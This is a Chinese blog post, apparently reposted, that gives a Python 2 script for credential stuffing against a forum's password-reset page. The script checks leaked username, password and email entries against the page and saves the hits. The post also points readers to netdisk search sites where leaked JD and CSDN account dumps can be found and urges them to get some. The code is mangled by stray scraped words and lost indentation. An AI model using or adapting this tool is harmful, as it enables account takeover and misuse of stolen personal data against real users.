其实平常生活中咱们的用户名和密码就那么几个,因此这给撞库带来了可能,本文主要给出python脚本撞库的一点粗浅代码。这里只讨论技术本生,代码中某榴的地址也已经改掉,避免被管理员误解禁言等发生,谢谢你们理解。php
代码以下:html
import sys
reload(sys)
sys.setdefaultencoding('utf-8')python
import requests
import timeweb
def test_register(username,email):app
headers={ "Content-Type": "application/x-www-form-urlencoded", "user-agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36", "accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8", "content-length":"44", } try: params={'pwuser':username,'email':email,'step':'2'} print params r=requests.post("https://某榴.tk/sendpwd.php?",data=params,headers=headers) result=r.text.encode("latin1").decode("gbk") return result.replace('\n','').replace('\t','').replace('\r','').replace(' ','') except Exception as e: print e
def check_file(username,password,email,file):函数
what = test_register(username,email) if what and u"注意查收" in what: print username,password,email info=username+","+password+","+email with open(file, 'a+') as f: f.write(info+'\n') #加\n换行显示
def check_txt(no):post
out_put="output"+str(no)+".txt" file=str(no)+".txt" fh = open(file) for line in fh.readlines(): try: r=line.split(",") username=r[0] password=r[1] email=r[2] check_file(username,password,email,out_put) except Exception as e: print "ee",e time.sleep(10)
if name == '__main__':url
#get_all_data()
check_txt(4).net
把代码放到某个文件夹里面,而后准备几个txt文档,文档以0-n的天然数命名,文件格式为:
caopengyu,rQf7JaotOp+W7h12XgvpAg==,yamaoshixode@163.com
中二病,AAO2b4zLbWtgu6gxcyYHiQ==,2054117123@qq.comcode
主函数中写4 表明文档4.txt,都很简单,其余依此类推。
至于帐号问题,曾经京东、csdn都泄露过一批帐号,如今能够搜索到,我常用网盘搜索:
http://www.quzhuanpan.com/sou...¤tPage=1
https://www.panc.cc/s/%E8%B4%...
http://www.panduoduo.net/s/na...
你们本身尝试获取一些帐号。不会百度吧,这年头不会搜东西的程序猿不是好程序猿。
仅限技术讨论,勿要深究其余问题出现不和谐的东西,再次感谢,多多指正。